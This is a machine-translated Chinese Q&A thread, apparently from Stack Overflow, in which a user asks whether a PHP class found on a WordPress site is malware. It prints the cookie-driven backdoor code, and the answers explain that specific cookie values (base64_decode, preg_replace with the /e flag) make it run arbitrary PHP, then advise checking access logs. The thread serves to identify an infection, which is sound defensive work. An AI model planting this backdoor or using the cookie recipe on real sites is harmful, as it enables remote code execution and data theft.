我发现了这些有趣的代码:
class PluginJoomla {
public function __construct() {
$jq = @$_COOKIE['ContentJQ3'];
if ($jq) {
$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438); die();
}
else
phpinfo();die;
}
}
$content = new PluginJoomla;
它是WordPress网站的一部分,因此请忽略类名。 正如您所看到的,$ jq变量从某个Cookie文件中获取它的值。后来似乎被视为一种功能:
$jq(@$_COOKIE['ContentJQ2']);
正如你在这里看到的,使用Variable函数(https://php.net/manual/en/functions.variable-functions.php)是一个非常基本的PHP。
稍后$ jq变量函数返回$ option变量的函数和$ au变量的字符串:
$option = $jq(@$_COOKIE['ContentJQ2']);
$au=$jq(@$_COOKIE['ContentJQ1']);
$option("/438/e",$au,438);
所以,我有一个问题,是否可以这样做,但是从Cookie文件执行PHP代码(不仅考虑exec()函数,还包括带有require()或使用ob_start的文件( )和ob_get_clean())?
您对代码本身有什么看法,是某种病毒还是恶意软件?
答案 0 :(得分:4)
这绝对是一个恶毒的剧本。让我猜一下,你在/ wp-content / uploads / gravity_forms / ...中找到了它?这就是我在十几个网站上找到它的地方,我的客户没有更新他们的重力表安装。 (幸运的是,我的服务器阻止了/wp-content/uploads/*.php。)
“$选项(”/ 438 / E “$ AU,438);”意味着当$ option是preg_replace时执行$ au,因为/ e标志。
使用$ _COOKIE ['ContentJQ3'] =“base64_decode”,$ _COOKIE ['ContentJQ1'] = base64(“preg_replace”)和$ _COOKIE ['ContentJQ2'] = base64(“arbitrary_php_code();”),这个最后执行黑客喜欢的任何PHP代码。然后它可以用来从你的文件系统下载任何文件(PHP可以访问;记住open_basedir),用数据库做任何你喜欢的事情。
如果您在文件系统上找到此文件,请检查您的访问日志,看看您是否被黑了。如果您无法证明自己不是,请考虑您的网站遭到入侵。
答案 1 :(得分:0)
它是恶意的! AVG将其标识为Linux/Roopre并且它是坏消息,因为正如@Geeklab指出的那样,它可以在WP站点的上下文中执行任何操作。